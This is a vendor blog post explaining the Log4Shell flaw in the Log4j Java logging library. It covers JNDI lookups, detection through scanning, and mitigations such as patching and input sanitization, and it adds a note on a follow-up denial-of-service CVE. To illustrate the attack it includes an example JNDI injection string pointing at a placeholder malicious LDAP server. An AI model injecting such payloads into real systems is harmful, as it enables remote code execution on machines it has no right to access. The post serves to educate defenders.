Log4Shell Vulnerability
Author – Abhijit Limaye
What Is It, And What Could Software Vendors and Developers Do?
3RD PARTY LIBRARIES IN THE SOFTWARE SUPPLY CHAIN CONTINUE TO POSE SECURITY RISKS FOR WEB APPS
What Is Log4J, And What Is the Vulnerability (“Log4Shell” (CVE-2021-44228))?
Log4j is a very popular and widely used Java library for logging. Most software relies on logging as a way of providing additional diagnostics, debugging, or developer support in production environments. Logging makes it easy to spot or reproduce errors or issues in production software.
What Is JNDI?
One of the major advantages of Log4j is its flexibility and extensibility, including that provided by the “Lookup plugins.” Simply put, they allow the use of ‘functions’ in any part of the log message. Of particular interest to us is the JNDI, or Java Naming and Directory Interface, plugin. JNDI provides a way to retrieve Java objects stored in a directory service like LDAP. One of the most common JNDI use cases is to retrieve a “connection” object that is then used to access the database backend.
How Would an Exploit Work?
Now Log4j allows users to add a specially crafted messages which looks something like ${jndi:ldap://my-evil-ldap-server/evilresource}. The curly braces {} around a message instruct log4j library to ‘evaluate’ the expression contained within it and not simply log it as text. The result of this evaluation is fetching of the resource pointed to by the URL and evaluating or executing it on the system. This is what leads to the exploitation of vulnerability when an attacker can supply an attacker- controlled URL that contains malicious payloads as part of user input, in hopes that the user input somehow finds its way to a log entry.
Note* – Here Image will come as per existing blog: Source – https://www.ideastoimpacts.com/log4j-blog.php
How Do You Detect This Vulnerability?
Standard vulnerability scanners can check for the presence of the vulnerable version of the library on your system. Beyond that, they cannot do much as the vulnerability manifests through code. Unless some SAST tool scans code, they won’t know the attack surface. Tools like Software Composition Analysis will allow developers to scan dependencies in code for this library. So far, the best possible run-time detection is achieved by using the DAST (Dynamic Application Security Testing) tools for Web applications. Just like such tools test for SQL Injection attacks by trying to ‘inject’ SQL as part of user inputs, the same mechanisms can be used here to “inject” a crafted JNDI log message that includes a unique URL. If the URL sees a ‘hit’,” you’d know which part of the code is logging this crafted input.
Mitigation:
Needless to say, you can’t recommend that everyone stop using Log4J overnight, as that is almost impossible. Log4j comes bundled with other software packages that will make it even more difficult to identify and remove.
Here are some recommended mitigations for developers and software vendors.
For Developers:
- Logging is spread across your entire code. Scan your entire codebase to see where log strings are formed using any user input or stored data.
- If there is a need to log user input, sanitize it to not include ‘commands’ that trigger vulnerabilities.
3.Update your version of the log4j library with the patch release from Apache(https://logging.apache.org/log4j/2.x/security.html)
- Use the log4j flag “formatMsgNoLookups=True” to stop code execution, however, doubts remain if that is sufficient.
- A good practice in general is to perform security scanning of code and Software Composition Analysis scans for identifying vulnerable 3rd party libraries.
- Implement a regular process that checks for and updates third-party libraries
- Implement DevSecOps processes and implement code and application security scanning as part of your DevOps processes.
For Software Vendors
- Having a well-defined Open-Source Review process for approving use of any 3rd party open-source libraries, before the developers start using them in their code
- Secure by Design Approach: Security issues in code and products can no longer be an afterthought. Sensitize Engineering and product teams on security issues, conduct regular security training, implementing Secure Software Development and introducing DevSecOps Processes.
- Investment in tools for static and dynamic testing (SAST, DAST) and Software Composition Analysis that can uncover vulnerabilities hidden in 3rd party libraries.
In Summary
Cybersecurity is no longer a technology risk but a business imperative! No vulnerability can be taken lightly, and the Log4j vulnerability just elevates the challenge further. No one is immune to the risk posed. For organizations, it is literally a question of “when,” not “if,” they will get hacked. The key takeaways are implementing robust cybersecurity programs that include Secure Development, Vulnerability Management and Risk Analysis Programs, and most importantly Patching! Be a Cyber Security Champion and Stay Safe!
Update #1:
As we were getting ready to publish this blog post, another vulnerability in log4j hit the mainstream. This one is in the version of Log4J that Apache released to fix the earlier Log4Shell vulnerability. This one (CVE-2021-45105) can be exploited by attackers to cause a Denial-of-Service attack by using a crafted log message payload using ‘Recursive lookups. Apache has released version 2.17.0 of the patch for the newly disclosed vulnerability. We reiterate our message of taking Cyber Risk very seriously and implementing robust Cyber security programs in the organization!
Office Address
Ideas to Impacts, Pallod Farms 3, Baner, Pune 411045, Maharashtra, India
Email: info@ideastoimpacts.com
Sales: 1-800-943-6444
technical Solutions
business solutions
i2i NEWSLETTER
Get the best of i2i right in your inbox.
Subscribe to our curated newsletters for the latest in tech, business, and thought leadership.
Copyright©2024 ideas to impacts. All rights reserved.
